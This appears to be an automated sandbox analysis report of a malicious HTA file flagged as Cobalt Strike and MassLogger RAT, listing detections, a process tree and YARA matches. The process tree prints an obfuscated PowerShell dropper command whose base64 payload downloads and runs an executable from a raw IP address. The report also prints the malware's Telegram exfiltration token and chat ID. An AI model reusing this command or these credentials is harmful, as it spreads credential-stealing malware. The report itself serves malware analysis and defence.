Windows
Analysis Report
niceworkingskillgivenmebest.hta
Overview
General Information
Detection
Cobalt Strike, MSIL Logger, MassLogger RAT
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected MSIL Logger
Yara detected MassLogger RAT
Yara detected Powershell decode and execute
Yara detected Telegram RAT
.NET source code references suspicious native API functions
Binary is likely a compiled AutoIt script file
Contains functionality to log keystrokes (.Net Source)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Use Short Name Path in Command Line
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 6748 cmdline:
mshta.exe "C:\Users\ user\Deskt op\nicewor kingskillg ivenmebest .hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) cmd.exe (PID: 6916 cmdline:
"C:\Window s\system32 \cmd.exe" "/C POWerS HeLL -eX BYPasS -nop -W 1 -C DEviCEcRe deNTIAlDeP LOymeNt ; iEx($(Ie x('[sYSTeM .TeXt.encO dinG]'+[CH aR]58+[CHA r]58+'uTf8 .GETString ([sYSTEM.c oNvERT]'+[ Char]58+[c HAR]0x3a+' FROMBASE64 StrIng('+[ cHAR]34+'J HUzVXZ6ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gID0gICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgQ URELVR5cGU gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLU1FT UJlcmRlZml OSXRpb24gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJ1tEbGx JbXBvcnQoI nVSTG1vbi5 ETEwiLCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDaGFyU2V 0ID0gQ2hhc lNldC5Vbml jb2RlKV1wd WJsaWMgc3R hdGljIGV4d GVybiBJbnR QdHIgVVJMR G93bmxvYWR Ub0ZpbGUoS W50UHRyICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIG1OZ2hXe FZ5Z0Isc3R yaW5nICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI HZUUFZULHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBkYix1aW5 0ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIEJuL EludFB0ciA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBSZ3Fzc XJaRGRpQik 7JyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtb mFNZSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA ic1ZIV3hhQ mFwIiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tbmFNRVNQQ UNlICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIER 3ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIC1QY XNzVGhydTs gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgJHUzV XZ6OjpVUkx Eb3dubG9hZ FRvRmlsZSg wLCJodHRwO i8vMTk4LjE yLjg5LjI0L zM0Ni9jb3N zZXMuZXhlI iwiJGVOVjp BUFBEQVRBX GNvc3Nlc3M uZXhlIiwwL DApO3NUQVJ ULXNsRUVwK DMpO0ludk9 rRS1JdEVNI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICIkRW5 2OkFQUERBV EFcY29zc2V zcy5leGUi' +[CHar]0X2 2+'))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 6936 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 7092 cmdline:
POWerSHeLL -e X BY PasS -nop -W 1 - C DE viCEcRedeN TIAlDePLOy meNt ; i Ex($(Iex(' [sYSTeM.Te Xt.encOdin G]'+[CHaR] 58+[CHAr]5 8+'uTf8.GE TString([s YSTEM.coNv ERT]'+[Cha r]58+[cHAR ]0x3a+'FRO MBASE64Str Ing('+[cHA R]34+'JHUz VXZ6ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgID 0gICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgQURE LVR5cGUgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLU1FTUJl cmRlZmlOSX Rpb24gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg J1tEbGxJbX BvcnQoInVS TG1vbi5ETE wiLCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBD aGFyU2V0ID 0gQ2hhclNl dC5Vbmljb2 RlKV1wdWJs aWMgc3RhdG ljIGV4dGVy biBJbnRQdH IgVVJMRG93 bmxvYWRUb0 ZpbGUoSW50 UHRyICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIG 1OZ2hXeFZ5 Z0Isc3RyaW 5nICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIHZU UFZULHN0cm luZyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBk Yix1aW50IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIEJuLElu dFB0ciAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BSZ3FzcXJa RGRpQik7Jy AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAtbmFN ZSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAic1 ZIV3hhQmFw IiAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtbm FNRVNQQUNl ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIER3IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIC1QYXNz VGhydTsgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgJHUzVXZ6 OjpVUkxEb3 dubG9hZFRv RmlsZSgwLC JodHRwOi8v MTk4LjEyLj g5LjI0LzM0 Ni9jb3NzZX MuZXhlIiwi JGVOVjpBUF BEQVRBXGNv c3Nlc3MuZX hlIiwwLDAp O3NUQVJULX NsRUVwKDMp O0ludk9rRS 1JdEVNICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICIkRW52Ok FQUERBVEFc Y29zc2Vzcy 5leGUi'+[C Har]0X22+' ))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) csc.exe (PID: 1432 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\dkem0svg \dkem0svg. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) cvtres.exe (PID: 5876 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user~1 \AppData\L ocal\Temp\ RES99C2.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\dke m0svg\CSCF 28CCA96CDC 44F1E80105 2D43790FDA 5.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) cossess.exe (PID: 5720 cmdline:
"C:\Users\ user\AppDa ta\Roaming \cossess.e xe" MD5: 9A772B3531C6426C3DB9CD09AE1B8576) RegSvcs.exe (PID: 416 cmdline:
"C:\Users\ user\AppDa ta\Roaming \cossess.e xe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
svchost.exe (PID: 6652 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
{"EXfil Mode": "Telegram", "Telegram Token": "7996508565:AAHHBM6wSJS6GosO-ff2t38cxPw1t-vbBj8", "Telegram Chatid": "5758197122"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 17 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 13 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Michael Haag: |